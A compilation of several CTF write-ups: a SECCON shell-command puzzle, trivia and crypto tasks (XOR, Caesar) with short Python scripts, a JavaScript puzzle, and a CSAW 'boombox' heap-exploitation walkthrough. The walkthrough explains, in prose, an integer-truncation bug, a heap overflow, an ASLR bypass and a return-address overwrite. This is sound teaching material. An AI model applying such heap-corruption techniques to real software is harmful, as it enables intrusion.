you use when you want to read only bottom lines of a text file? Set your answer to environment variable named stage2 and execute a shell. $ stage2=$your_answer_here sh If your answer is what I meant, you will be able to access stage3.txt file.$ stage2=tail sh$ cat stage3.txtWhat command do you use when you want to pick up lines that match specific patterns? Set your answer to environment variable named stage3 and execute a shell. $ stage3=$your_answer_here sh If your answer is what I meant, you will be able to access stage4.txt file.$ stage3=grep sh$ cat stage4.txtWhat command do you use when you want to process a text file? Set your answer to environment variable named stage4 and execute a shell. $ stage4=$your_answer_here sh If your answer is what I meant, you will be able to access stage5.txt file.$ stage4=awk sh$ cat stage5.txtOK. You reached the final stage. The flag word is in flags.txt file. flags.txt can be read by only one specific program which is availablein this server. The program for reading flags.txt is one of commandsyou can use for processing a text file. Please find it. Good luck. ;-)$ sed -e '' flags.txtOK. You have read all .txt files. The flag word is shown below. SECCON{CaitSith@AQUA}``` ### ENG version We connect to server pointed in description: ```CaitSith login: rootPassword:$ lsbin flags.txt linuxrc stage1.txt stage4.txt usrdev init proc stage2.txt stage5.txtetc lib sbin stage3.txt tmp$ cat flags.txtcat: can't open 'flags.txt': Operation not permitted$ cat stage1.txtWhat command do you use when you want to read only top lines of a text file? Set your answer to environment variable named stage1 and execute a shell. $ stage1=$your_answer_here sh If your answer is what I meant, you will be able to access stage2.txt file.$ cat stage2.txtcat: can't open 'stage2.txt': Operation not permitted``` We can only read stage1.txt file, other files are locked untill we solve earlier challenges. So we proceed step by step: ```$ cat stage1.txtWhat command do you use when you want to read only top lines of a text file? Set your answer to environment variable named stage1 and execute a shell. $ stage1=$your_answer_here sh If your answer is what I meant, you will be able to access stage2.txt file.$ stage1=head sh$ cat stage2.txtWhat command do you use when you want to read only bottom lines of a text file? Set your answer to environment variable named stage2 and execute a shell. $ stage2=$your_answer_here sh If your answer is what I meant, you will be able to access stage3.txt file.$ stage2=tail sh$ cat stage3.txtWhat command do you use when you want to pick up lines that match specific patterns? Set your answer to environment variable named stage3 and execute a shell. $ stage3=$your_answer_here sh If your answer is what I meant, you will be able to access stage4.txt file.$ stage3=grep sh$ cat stage4.txtWhat command do you use when you want to process a text file? Set your answer to environment variable named stage4 and execute a shell. $ stage4=$your_answer_here sh If your answer is what I meant, you will be able to access stage5.txt file.$ stage4=awk sh$ cat stage5.txtOK. You reached the final stage. The flag word is in flags.txt file. flags.txt can be read by only one specific program which is availablein this server. The program for reading flags.txt is one of commandsyou can use for processing a text file. Please find it. Good luck. ;-)$ sed -e '' flags.txtOK. You have read all .txt files. The flag word is shown below. SECCON{CaitSith@AQUA}```
# Trivia Question 4 > Use the file. Get the flag. But, you know what, I hate pipes. The file contained program written in Ook programming language. Running it gives string:```starting from 0.0.0.0, print the following IPs. 7277067th IP Address7234562th IP Address7302657th IP Address91238th IP Address746508th IP Address7211531th IP Address7300098th IP Address7211788th IP Address723558th IP Address91248th IP Address7237378th IP Address723557th IP Address7234562th IP Address723567th IP Address749067th IP Address Hint: Anything specific about all the IPs?```Decoding those IP addresses to octet form, we get:```['0.111.10.10', '0.110.100.1', '0.111.110.0', '0.1.100.101', '0.11.100.11', '0.110.10.10', '0.111.100.1', '0.110.11.11', '0.11.10.101', '0.1.100.111', '0.110.111.1', '0.11.10.100', '0.110.100.1', '0.11.10.110', '0.11.110.10']```We can notice they all contain only 0's and 1's, so we treated them as ASCII characters to get string `zi|esjyougotivz`. After deleting `|` character (see description of task), the string was the expected flag.
# HackIM Crypto 1 >You are in this GAME. A critical mission, and you are surrounded by the beauties, ready to shed their slik gowns on your beck. On onside your feelings are pulling you apart and another side you are called by the duty. The biggiest question is seX OR success? The signals of subconcious mind are not clear, cryptic. You also have the message of heart which is clear and cryptic. You just need to use three of them and find whats the clear message of your Mind... What you must do? ## Write-up This challenge was pretty simple, they gave us 3 files - `Heart_clear.txt`, `Heart_crypt.txt`, and `Mind_crypt.txt`. Since have the hint of "`seX OR success`", I knew it'd be an XOR key, so I took `Heart_clear.txt` and XOR'd the contents with `Heart_crypt.txt` and got a repeating XOR key of `Its right there what you are looking for.\n`. Using that key to decrypt `Mind_crypt.txt` lead to a [google play link](https://play.google.com/store/apps/collection/promotion_3001629_watch_live_games?hl=en). After derping around on the page a bit I tried the words at the top of the page "Never Miss a Game" and voila! 500 Points. The point system seemed to be a bit wonky as this challenge was **super** easy, and I spent a hugely disproportional amount of time on the RE challenges for fewer points. Flag:> Never Miss a Game ```pythonwith open("Heart_clear.txt") as f: clear = f.read() with open("Heart_crypt.txt") as f: cipher = f.read() with open("Mind_crypt.txt") as f: mc = f.read() bytes = []for plain_byte, cipher_byte in zip(clear, cipher): bytes.append(chr(ord(plain_byte) ^ ord(cipher_byte))) xor_key = "".join(bytes)# bytes == XOR key# 'Its right there what you are looking for.\n' print "XOR key -> %s" % xor_key bytes = []for xor_key_byte, cipher_byte in zip(xor_key, mc): bytes.append(chr(ord(xor_key_byte) ^ ord(cipher_byte))) print "".join(bytes)# https://play.google.com/store/apps/collection/promotion_3001629_watch_live_games?hl=en# Flag -> "Never Miss a Game"```
# CSAW Finals 2015 - Exploitation 500 `boombox` ## What `boombox` does normallyThe `boombox` application allows non-malicious users to upload tapes consisting of a number of tracks of data.It plays them by rendering them into a phonetic approximation of music.Every 4 bits of the data are rendered into a phenome based on the following table:<style type="text/css"> table, td { border: 1pt solid black } </style><table><tr><td>0</td><td>1</td><td>2</td><td>3</td><td>4</td><td>5</td><td>6</td><td>7</td><td>8</td><td>9</td><td>A</td><td>B</td><td>C</td><td>D</td><td>E</td><td>F</td></tr><tr><td>beep</td><td>bop</td><td>zip</td><td>zam</td><td>flim</td><td>flam</td><td>ity</td><td>bad</td><td>do</td><td>dub</td><td>da</td><td>bez</td><td>um</td><td>yo</td><td>wop</td><td>bap</td></tr></table>So for example, a track consisting of `"AAAA"` would get rendered as `flimbopflimbopflimbopflimbop` (since `'A' == 0x41`). ![](screenshots/screenshot_upload_AAAA.png "Uploading a tape containing AAAA")![](screenshots/screenshot_play_AAAA.png "Playing AAAA") It also allows recording over the data at the current position of the tape, using the phenome representation as input. ![](screenshots/screenshot_record_beepbop.png "Recording over 1 'A' with '\x01'")![](screenshots/screenshot_play_beepbop.png "Playing \x01AAA") There are also a number of management options: * Ejecting (deleting) a tape* Switching to another already-uploaded tape* Fastforwarding/rewinding the current track* Going to the next/previous track on the current tape* Seeking to a bytewise offset on the current track ![](screenshots/screenshot_help.png "Boombox's help menu") ## Finding the vulnerabilityMy first thought was that the vulnerability would be a UAF, so I started off by reversing the upload/eject codepaths, which conveniently also involved discovering details of the data structures that `boombox` uses.Sadly, all the input seemed to be handled cleanly in upload, and everything is freed and nulled correctly in eject. ![](screenshots/screenshot_datastructures_code.png "Boombox's data structures") The next place I looked was seek, to see if it had bounds checks (which it did). The next obvious place for a vulnerability to be would be in record/play, as those are string handling functions.`play` delegates to `render_music`, and `record` to `record_aux`.Both helper functions take a length parameter, and both of them are passed something like `track->length - boombox->current_position`, which is only correct if you can never go past the end of a track, since the helpers use their length parameter unsignededly. With the goal of finding a way to trigger an integer overflow in `record`, I looked at `fast_forward`, and found that it does a gimmicky calculation involving milliseconds until the enter key is pressed. ![](screenshots/screenshot_fastforward_code.png "The fast_forward function") Note the difference between `4*(ticks/1000)` and `(4*ticks)/1000`.Due to integer truncation, if ticks is 1500, the former evaluates as (`4*(1500/1000)` -> `4*1` -> `4`), while the latter evaluates as (`(4*1500)/1000` -> `6000/1000` -> `6`).(This is similar in spirit to a class of vulnerabilities called Time-of-Check vs. Time-of-Use, or ToC/ToU for short.)Since ticks is attacker-controlled (it's how long we wait to send a newline after), this means that it's possible to set the current position in the track to 2 past the end of the track.This then results in `-2` being passed as a size to `record_aux`, being treated as obscenely large (integer overflow), and allowing a heap smash. ![](screenshots/screenshot_debruijn.png "Heap smash with DeBruijn pattern") ## Exploiting the vulnerabilityThere's a convenient `print_flag` function in `boombox.exe`, so the only thing needed to win is control of the instruction pointer and a `.text` segment address (assuming ASLR is on). ![](screenshots/screenshot_printflag_r2.png "The print_flag function") There's a `boombox_t` struct on the stack, and an attacker-influenced layout of `tape_t` and `track_t` on the heap. My exploit: 1. Creates a tape with 2 tracks, and a tape with 1 track after it.\At this point, the heap layout is `tape1 | track1 | track2 | tape2 | track3`\`tape1`'s tracks array has pointers to `track1` and `track2`, and `tape2`'s has a pointer to `track3`2. Seeks to near the end of the `track1`, and triggers the `fast_forward` ToC/ToU bug.3. Uses `record` as a heap smash to set the `track2` length to be 1024 (increased from 512)\The reason not to set it to something extreme like `2**64-1` is that `play` does a loop that reads up to the track's length (although it doesn't overflow the rendering buffer), and it needs to be practical to read the content of heap to find out where the stack is.4. Using `track2`, reads the `box` pointer from `tape2` (it's set in `upload_mixtape`, but never used anywhere, so it's probably deliberate for exactly this purpose).5. Uses `track2` to overwrite the `tape2->tracks[0]` to point at an offset into the boombox so that `tape2->tracks[0]->length` overlaps with the boombox's pointer to the second tape.This orphans `track3`.\As per the comment in step 3, this won't allow reading the stack, but it does allow controlled writes on the stack.6. Uses the `tape2->tracks[0]` to create a "reasonable" length field after the boombox's tapes (overwriting something on the stack that's probably not important).\It can't be created inside the boombox's tapes array, since that would result in a segfault when it tries to find the name of a tape using the length field as a pointer in `select_mixtape`.7. Uses `track2` to overwrite the `tape2->tracks[0]` to use the "reasonable" length field on the stack created in step 6.8. Uses `tape2->tracks[0]` to read main's return address, bypassing ASLR.9. Uses `tape2->tracks[0]` to overwrite main's return address to point at an offset into `print_flag`.\When I tried pointing it at `print_flag` directly, it segfaulted and didn't print out the flag.At first, I had thought that I had used the wrong original address in the ASLR calculation, but when I tried using `print_boombox` and `print_menu`, those worked correctly. I tried skipping `print_flag`'s stack cookie initialization (by using `print_flag+0x1b`) on the hunch that "maybe it's writing to the stack wrongly somehow", and it printed out the flag before segfaulting. ![](screenshots/screenshot_boombox_flag.png "flag{th1s_ch4ll_us3d_t0_b3_4l0t_h4rd3r_th4n_th1s}") ## DisclaimerI wasn't fast enough to solve this during CSAW Finals.The challenge's author sent it to the RPISEC mailing list over winter break, soliciting writeups for it.
##Caesar (Crypto, 400p) Some one was here, some one had breached the security and had infiltrated here. All the evidences are touched, Logs are altered, records are modified with key as a text from book. The Operation was as smooth as CAESAR had Conquested Gaul. After analysing the evidence we have some extracts of texts in a file. We need the title of the book back, but unfortunately we only have a portion of it... ###PL[ENG](#eng-version) Dostajemy [plik](The_extract.txt) a z treści zadania wynika, że może być on szyfrowany za pomocą szyfru Cezara.Uruchamiamy więc prosty skrypt: ```pythonimport codecs with codecs.open("The_extract.txt") as input_file: data = input_file.read() for i in range(26): text = "" for x in data: c = ord(x) if ord('a') <= c < ord('z'): text += chr((c - ord('a') + i) % 26 + ord('a')) elif ord('A') <= c < ord('Z'): text += chr((c - ord('A') + i) % 26 + ord('A')) else: text += chr(c) print(text)``` Który wypisuje wszystkie możliwe dekodowania, wśród których mamy: Dr. Sarah Tu races against time to block the most dangerous Internet malware ever created, a botnet called QUALNTO. While Sarah is closed off in her comzuter lab, her sister, Hanna, is brutally attacked and left in a coma. As Sarah reels with guilt over not being there for her sister, a web of deceztion closes in, threatening her and everyone she loves. Hanna’s condition is misleading. In her coma state, she is able to build a zsychic bridge with FBI Szecial Agent Jason McNeil. Her cryztic messages zlague Jason to keez Sarah safe. Tough and street-smart Jason McNeil doesn’t believe in visions or telezathic messages, and he fights the voice inside his head. His first imzression of Dr. Sarah Tu is another stiletto wearing ice-dragon on the war zath―until he witnesses her façade crumble after seeing her sister’s bloody, tortured body. Jason’s zrotective instinct kicks in. He falls for Sarah―hard. When an extremenly dangerous arms dealer and cybercriminal discovers that Sarah blocked his botnet, he kidnzs Sarah. Zlaced in an imzossible zosition, will she destroy the botnet to zrotect national security or release it to save the man she loves Pochodzące z książki `In the Shadow of Greed` co jest flagą. ###ENG version We get a [file](The_extract.txt) and the task description suggests that the encryption is Caesar.Therefore we run a simple script: ```pythonimport codecs with codecs.open("The_extract.txt") as input_file: data = input_file.read() for i in range(26): text = "" for x in data: c = ord(x) if ord('a') <= c < ord('z'): text += chr((c - ord('a') + i) % 26 + ord('a')) elif ord('A') <= c < ord('Z'): text += chr((c - ord('A') + i) % 26 + ord('A')) else: text += chr(c) print(text)``` Which prints all possible decryptions where we can find: Dr. Sarah Tu races against time to block the most dangerous Internet malware ever created, a botnet called QUALNTO. While Sarah is closed off in her comzuter lab, her sister, Hanna, is brutally attacked and left in a coma. As Sarah reels with guilt over not being there for her sister, a web of deceztion closes in, threatening her and everyone she loves. Hanna’s condition is misleading. In her coma state, she is able to build a zsychic bridge with FBI Szecial Agent Jason McNeil. Her cryztic messages zlague Jason to keez Sarah safe. Tough and street-smart Jason McNeil doesn’t believe in visions or telezathic messages, and he fights the voice inside his head. His first imzression of Dr. Sarah Tu is another stiletto wearing ice-dragon on the war zath―until he witnesses her façade crumble after seeing her sister’s bloody, tortured body. Jason’s zrotective instinct kicks in. He falls for Sarah―hard. When an extremenly dangerous arms dealer and cybercriminal discovers that Sarah blocked his botnet, he kidnzs Sarah. Zlaced in an imzossible zosition, will she destroy the botnet to zrotect national security or release it to save the man she loves Coming from `In the Shadow of Greed` book, which is the flag.
__BreakIn 2016 :: Oops__================================== _John Hammond_ | _Sunday, January 24, 2016_ > <style></style> ---------- This challenge was not all that difficult, but it a bit to understand what the real goal was. If you looked at the source of the challenge's page, you could see that in the problem's description there was also a [HTML][HTML] [script][HTML script] link to a [JavaScript] file. It was titled `jquery.min.js`, so we assumed it was a modified clone of [jQuery]. We [grabbed the file](the_script.js) and took a look at it. We [`diff`][diff]ed it with the _actual_ [jQuery], but that didn't help us much. We expanded it all out with [an online tool](http://jsbeautifier.org/), but that didn't really help either... but once we looked more and more at the source code, we could see an interesting piece at the very bottom. ``` jsvar content=ajax.fetchPage("http://example.com").toDOM();content.querySelector("h1").parentNode.childNodes[3].innerHTML.split(" ").slice(26).join(" ");``` That looked weird. We actually tried to create a local [HTML] file and just have [JavaScript] `alert()` the `content` variable... but it wouldn't even run, that `ajax` object wasn't even a thing. We tried to do some research on it, but we got no results. So we tried to walk through the code "mentally". We actually looked at [http://example.com](http://example.com) and found the `<h1>` tag, it's parent, and the child nodes... But wait a second... it was looking for `childNode[3]`. _Indexed_ at 3. That would mean the _fourth_ element. ___The webpage had no fourth element there.___ So something was _even more weird_. With that in mind, we tried to run the code _from_ the [http://example.com](http://example.com) web page. You could do this with like [Firebug], or [Firefox]'s Web Console (`Ctrl+Shift+K`) or any [Chrome] equivalent. We knew we couldn't get an object of the page with that funky `ajax.fetchPage` syntax, so we just used the `document` object. Here's the code we ran (same as the line from the file): ```>> document.querySelector("h1").parentNode.childNodes[3].innerHTML.split(" ").slice(26).join(" ");"asking for permission."``` Woah! We actually got something to return with that. We tried that as the flag... and got it! __The flag is `asking for permission.`.__ [netcat]: https://en.wikipedia.org/wiki/Netcat[Wikipedia]: https://www.wikipedia.org/[Linux]: https://www.linux.com/[man page]: https://en.wikipedia.org/wiki/Man_page[PuTTY]: http://www.putty.org/[ssh]: https://en.wikipedia.org/wiki/Secure_Shell[Windows]: http://www.microsoft.com/en-us/windows[virtual machine]: https://en.wikipedia.org/wiki/Virtual_machine[operating system]:https://en.wikipedia.org/wiki/Operating_system[OS]: https://en.wikipedia.org/wiki/Operating_system[VMWare]: http://www.vmware.com/[VirtualBox]: https://www.virtualbox.org/[hostname]: https://en.wikipedia.org/wiki/Hostname[port number]: https://en.wikipedia.org/wiki/Port_%28computer_networking%29[distribution]:https://en.wikipedia.org/wiki/Linux_distribution[Ubuntu]: http://www.ubuntu.com/[ISO]: https://en.wikipedia.org/wiki/ISO_image[standard streams]: https://en.wikipedia.org/wiki/Standard_streams[standard output]: https://en.wikipedia.org/wiki/Standard_streams[standard input]: https://en.wikipedia.org/wiki/Standard_streams[read]: http://ss64.com/bash/read.html[variable]: https://en.wikipedia.org/wiki/Variable_%28computer_science%29[command substitution]: http://www.tldp.org/LDP/abs/html/commandsub.html[permissions]: https://en.wikipedia.org/wiki/File_system_permissions[redirection]: http://www.tldp.org/LDP/abs/html/io-redirection.html[pipe]: http://www.tldp.org/LDP/abs/html/io-redirection.html[piping]: http://www.tldp.org/LDP/abs/html/io-redirection.html[tmp]: http://www.tldp.org/LDP/Linux-Filesystem-Hierarchy/html/tmp.html[curl]: http://curl.haxx.se/[cl1p.net]: https://cl1p.net/[request]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html[POST request]: https://en.wikipedia.org/wiki/POST_%28HTTP%29[Python]: http://python.org/[interpreter]: https://en.wikipedia.org/wiki/List_of_command-line_interpreters[requests]: http://docs.python-requests.org/en/latest/[urllib]: https://docs.python.org/2/library/urllib.html[file handling with Python]: https://docs.python.org/2/tutorial/inputoutput.html#reading-and-writing-files[bash]: https://www.gnu.org/software/bash/[Assembly]: https://en.wikipedia.org/wiki/Assembly_language[the stack]: https://en.wikipedia.org/wiki/Stack_%28abstract_data_type%29[register]: http://www.tutorialspoint.com/assembly_programming/assembly_registers.htm[hex]: https://en.wikipedia.org/wiki/Hexadecimal[hexadecimal]: https://en.wikipedia.org/wiki/Hexadecimal[archive file]: https://en.wikipedia.org/wiki/Archive_file[zip file]: https://en.wikipedia.org/wiki/Zip_%28file_format%29[zip files]: https://en.wikipedia.org/wiki/Zip_%28file_format%29[.zip]: https://en.wikipedia.org/wiki/Zip_%28file_format%29[gigabytes]: https://en.wikipedia.org/wiki/Gigabyte[GB]: https://en.wikipedia.org/wiki/Gigabyte[GUI]: https://en.wikipedia.org/wiki/Graphical_user_interface[Wireshark]: https://www.wireshark.org/[FTP]: https://en.wikipedia.org/wiki/File_Transfer_Protocol[client and server]: https://simple.wikipedia.org/wiki/Client-server[RETR]: http://cr.yp.to/ftp/retr.html[FTP server]: https://help.ubuntu.com/lts/serverguide/ftp-server.html[SFTP]: https://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol[SSL]: https://en.wikipedia.org/wiki/Transport_Layer_Security[encryption]: https://en.wikipedia.org/wiki/Encryption[HTML]: https://en.wikipedia.org/wiki/HTML[Flask]: http://flask.pocoo.org/[SQL]: https://en.wikipedia.org/wiki/SQL[and]: https://en.wikipedia.org/wiki/Logical_conjunction[Cyberstakes]: https://cyberstakesonline.com/[cat]: https://en.wikipedia.org/wiki/Cat_%28Unix%29[symbolic link]: https://en.wikipedia.org/wiki/Symbolic_link[ln]: https://en.wikipedia.org/wiki/Ln_%28Unix%29[absolute path]: https://en.wikipedia.org/wiki/Path_%28computing%29[CTF]: https://en.wikipedia.org/wiki/Capture_the_flag#Computer_security[Cyberstakes]: https://cyberstakesonline.com/[OverTheWire]: http://overthewire.org/[Leviathan]: http://overthewire.org/wargames/leviathan/[ls]: https://en.wikipedia.org/wiki/Ls[grep]: https://en.wikipedia.org/wiki/Grep[strings]: http://linux.die.net/man/1/strings[ltrace]: http://linux.die.net/man/1/ltrace[C]: https://en.wikipedia.org/wiki/C_%28programming_language%29[strcmp]: http://linux.die.net/man/3/strcmp[access]: http://pubs.opengroup.org/onlinepubs/009695399/functions/access.html[system]: http://linux.die.net/man/3/system[real user ID]: https://en.wikipedia.org/wiki/User_identifier[effective user ID]: https://en.wikipedia.org/wiki/User_identifier[brute force]: https://en.wikipedia.org/wiki/Brute-force_attack[for loop]: https://en.wikipedia.org/wiki/For_loop[bash programming]: http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html[Behemoth]: http://overthewire.org/wargames/behemoth/[command line]: https://en.wikipedia.org/wiki/Command-line_interface[command-line]: https://en.wikipedia.org/wiki/Command-line_interface[cli]: https://en.wikipedia.org/wiki/Command-line_interface[PHP]: https://php.net/[URL]: https://en.wikipedia.org/wiki/Uniform_Resource_Locator[TamperData]: https://addons.mozilla.org/en-US/firefox/addon/tamper-data/[Firefox]: https://www.mozilla.org/en-US/firefox/new/?product=firefox-3.6.8&os=osx%E2%8C%A9=en-US[Caesar Cipher]: https://en.wikipedia.org/wiki/Caesar_cipher[Google Reverse Image Search]: https://www.google.com/imghp[PicoCTF]: https://picoctf.com/[PicoCTF 2014]: https://picoctf.com/[JavaScript]: https://www.javascript.com/[base64]: https://en.wikipedia.org/wiki/Base64[client-side]: https://en.wikipedia.org/wiki/Client-side_scripting[client side]: https://en.wikipedia.org/wiki/Client-side_scripting[javascript:alert]: http://www.w3schools.com/js/js_popup.asp[Java]: https://www.java.com/en/[2147483647]: https://en.wikipedia.org/wiki/2147483647_%28number%29[XOR]: https://en.wikipedia.org/wiki/Exclusive_or[XOR cipher]: https://en.wikipedia.org/wiki/XOR_cipher[quipqiup.com]: http://www.quipqiup.com/[PDF]: https://en.wikipedia.org/wiki/Portable_Document_Format[pdfimages]: http://linux.die.net/man/1/pdfimages[ampersand]: https://en.wikipedia.org/wiki/Ampersand[URL encoding]: https://en.wikipedia.org/wiki/Percent-encoding[Percent encoding]: https://en.wikipedia.org/wiki/Percent-encoding[URL-encoding]: https://en.wikipedia.org/wiki/Percent-encoding[Percent-encoding]: https://en.wikipedia.org/wiki/Percent-encoding[endianness]: https://en.wikipedia.org/wiki/Endianness[ASCII]: https://en.wikipedia.org/wiki/ASCII[struct]: https://docs.python.org/2/library/struct.html[pcap]: https://en.wikipedia.org/wiki/Pcap[packet capture]: https://en.wikipedia.org/wiki/Packet_analyzer[HTTP]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol[Wireshark filters]: https://wiki.wireshark.org/DisplayFilters[SSL]: https://en.wikipedia.org/wiki/Transport_Layer_Security[Assembly]: https://en.wikipedia.org/wiki/Assembly_language[Assembly Syntax]: https://en.wikipedia.org/wiki/X86_assembly_language#Syntax[Intel Syntax]: https://en.wikipedia.org/wiki/X86_assembly_language[Intel or AT&T]: http://www.imada.sdu.dk/Courses/DM18/Litteratur/IntelnATT.htm[AT&T syntax]: https://en.wikibooks.org/wiki/X86_Assembly/GAS_Syntax[GET request]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods[GET requests]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods[IP Address]: https://en.wikipedia.org/wiki/IP_address[IP Addresses]: https://en.wikipedia.org/wiki/IP_address[MAC Address]: https://en.wikipedia.org/wiki/MAC_address[session]: https://en.wikipedia.org/wiki/Session_%28computer_science%29[Cookie Manager+]: https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/[hexedit]: http://linux.die.net/man/1/hexedit[Google]: http://google.com/[Scapy]: http://www.secdev.org/projects/scapy/[ARP]: https://en.wikipedia.org/wiki/Address_Resolution_Protocol[UDP]: https://en.wikipedia.org/wiki/User_Datagram_Protocol[SQL injection]: https://en.wikipedia.org/wiki/SQL_injection[sqlmap]: http://sqlmap.org/[sqlite]: https://www.sqlite.org/[MD5]: https://en.wikipedia.org/wiki/MD5[OpenSSL]: https://www.openssl.org/[Burpsuite]:https://portswigger.net/burp/[Burpsuite.jar]:https://portswigger.net/burp/[Burp]:https://portswigger.net/burp/[NULL character]: https://en.wikipedia.org/wiki/Null_character[Format String Vulnerability]: http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf[printf]: http://pubs.opengroup.org/onlinepubs/009695399/functions/fprintf.html[argument]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[arguments]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[parameter]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[parameters]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[Vortex]: http://overthewire.org/wargames/vortex/[socket]: https://docs.python.org/2/library/socket.html[file descriptor]: https://en.wikipedia.org/wiki/File_descriptor[file descriptors]: https://en.wikipedia.org/wiki/File_descriptor[Forth]: https://en.wikipedia.org/wiki/Forth_%28programming_language%29[github]: https://github.com/[buffer overflow]: https://en.wikipedia.org/wiki/Buffer_overflow[try harder]: https://www.offensive-security.com/when-things-get-tough/[segmentation fault]: https://en.wikipedia.org/wiki/Segmentation_fault[seg fault]: https://en.wikipedia.org/wiki/Segmentation_fault[segfault]: https://en.wikipedia.org/wiki/Segmentation_fault[shellcode]: https://en.wikipedia.org/wiki/Shellcode[sploit-tools]: https://github.com/SaltwaterC/sploit-tools[Kali]: https://www.kali.org/[Kali Linux]: https://www.kali.org/[gdb]: https://www.gnu.org/software/gdb/[gdb tutorial]: http://www.unknownroad.com/rtfm/gdbtut/gdbtoc.html[payload]: https://en.wikipedia.org/wiki/Payload_%28computing%29[peda]: https://github.com/longld/peda[git]: https://git-scm.com/[home directory]: https://en.wikipedia.org/wiki/Home_directory[NOP slide]:https://en.wikipedia.org/wiki/NOP_slide[NOP]: https://en.wikipedia.org/wiki/NOP[examine]: https://sourceware.org/gdb/onlinedocs/gdb/Memory.html[stack pointer]: http://stackoverflow.com/questions/1395591/what-is-exactly-the-base-pointer-and-stack-pointer-to-what-do-they-point[little endian]: https://en.wikipedia.org/wiki/Endianness[big endian]: https://en.wikipedia.org/wiki/Endianness[endianness]: https://en.wikipedia.org/wiki/Endianness[pack]: https://docs.python.org/2/library/struct.html#struct.pack[ash]:https://en.wikipedia.org/wiki/Almquist_shell[dash]: https://en.wikipedia.org/wiki/Almquist_shell[shell]: https://en.wikipedia.org/wiki/Shell_%28computing%29[pwntools]: https://github.com/Gallopsled/pwntools[colorama]: https://pypi.python.org/pypi/colorama[objdump]: https://en.wikipedia.org/wiki/Objdump[UPX]: http://upx.sourceforge.net/[64-bit]: https://en.wikipedia.org/wiki/64-bit_computing[breakpoint]: https://en.wikipedia.org/wiki/Breakpoint[stack frame]: http://www.cs.umd.edu/class/sum2003/cmsc311/Notes/Mips/stack.html[format string]: http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html[format specifiers]: http://web.eecs.umich.edu/~bartlett/printf.html[format specifier]: http://web.eecs.umich.edu/~bartlett/printf.html[variable expansion]: https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html[base pointer]: http://stackoverflow.com/questions/1395591/what-is-exactly-the-base-pointer-and-stack-pointer-to-what-do-they-point[dmesg]: https://en.wikipedia.org/wiki/Dmesg[Android]: https://www.android.com/[.apk]:https://en.wikipedia.org/wiki/Android_application_package[apk]:https://en.wikipedia.org/wiki/Android_application_package[decompiler]: https://en.wikipedia.org/wiki/Decompiler[decompile Java code]: http://www.javadecompilers.com/[jadx]: https://github.com/skylot/jadx[.img]: https://en.wikipedia.org/wiki/IMG_%28file_format%29[binwalk]: http://binwalk.org/[JPEG]: https://en.wikipedia.org/wiki/JPEG[JPG]: https://en.wikipedia.org/wiki/JPEG[disk image]: https://en.wikipedia.org/wiki/Disk_image[foremost]: http://foremost.sourceforge.net/[eog]: https://wiki.gnome.org/Apps/EyeOfGnome[function pointer]: https://en.wikipedia.org/wiki/Function_pointer[machine code]: https://en.wikipedia.org/wiki/Machine_code[compiled language]: https://en.wikipedia.org/wiki/Compiled_language[compiler]: https://en.wikipedia.org/wiki/Compiler[compile]: https://en.wikipedia.org/wiki/Compiler[scripting language]: https://en.wikipedia.org/wiki/Scripting_language[shell-storm.org]: http://shell-storm.org/[shell-storm]:http://shell-storm.org/[shellcode database]: http://shell-storm.org/shellcode/[gdb-peda]: https://github.com/longld/peda[x86]: https://en.wikipedia.org/wiki/X86[Intel x86]: https://en.wikipedia.org/wiki/X86[sh]: https://en.wikipedia.org/wiki/Bourne_shell[/bin/sh]: https://en.wikipedia.org/wiki/Bourne_shell[SANS]: https://www.sans.org/[Holiday Hack Challenge]: https://holidayhackchallenge.com/[USCGA]: http://uscga.edu/[United States Coast Guard Academy]: http://uscga.edu/[US Coast Guard Academy]: http://uscga.edu/[Academy]: http://uscga.edu/[Coast Guard Academy]: http://uscga.edu/[Hackfest]: https://www.sans.org/event/pen-test-hackfest-2015[SSID]: https://en.wikipedia.org/wiki/Service_set_%28802.11_network%29[DNS]: https://en.wikipedia.org/wiki/Domain_Name_System[Python:base64]: https://docs.python.org/2/library/base64.html[OpenWRT]: https://openwrt.org/[node.js]: https://nodejs.org/en/[MongoDB]: https://www.mongodb.org/[Mongo]: https://www.mongodb.org/[SuperGnome 01]: http://52.2.229.189/[Shodan]: https://www.shodan.io/[SuperGnome 02]: http://52.34.3.80/[SuperGnome 03]: http://52.64.191.71/[SuperGnome 04]: http://52.192.152.132/[SuperGnome 05]: http://54.233.105.81/[Local file inclusion]: http://hakipedia.com/index.php/Local_File_Inclusion[LFI]: http://hakipedia.com/index.php/Local_File_Inclusion[PNG]: http://www.libpng.org/pub/png/[.png]: http://www.libpng.org/pub/png/[Remote Code Execution]: https://en.wikipedia.org/wiki/Arbitrary_code_execution[RCE]: https://en.wikipedia.org/wiki/Arbitrary_code_execution[GNU]: https://www.gnu.org/[regular expression]: https://en.wikipedia.org/wiki/Regular_expression[regular expressions]: https://en.wikipedia.org/wiki/Regular_expression[uniq]: https://en.wikipedia.org/wiki/Uniq[sort]: https://en.wikipedia.org/wiki/Sort_%28Unix%29[binary data]: https://en.wikipedia.org/wiki/Binary_data[binary]: https://en.wikipedia.org/wiki/Binary[Firebug]: http://getfirebug.com/[SHA1]: https://en.wikipedia.org/wiki/SHA-1[SHA-1]: https://en.wikipedia.org/wiki/SHA-1[Linux]: https://www.linux.com/[Ubuntu]: http://www.ubuntu.com/[Kali Linux]: https://www.kali.org/[Over The Wire]: http://overthewire.org/wargames/[OverTheWire]: http://overthewire.org/wargames/[Micro Corruption]: https://microcorruption.com/[Smash The Stack]: http://smashthestack.org/[CTFTime]: https://ctftime.org/[Writeups]: https://ctftime.org/writeups[Competitions]: https://ctftime.org/event/list/upcoming[Skull Security]: https://wiki.skullsecurity.org/index.php?title=Main_Page[MITRE]: http://mitrecyberacademy.org/[Trail of Bits]: https://trailofbits.github.io/ctf/[Stegsolve]: 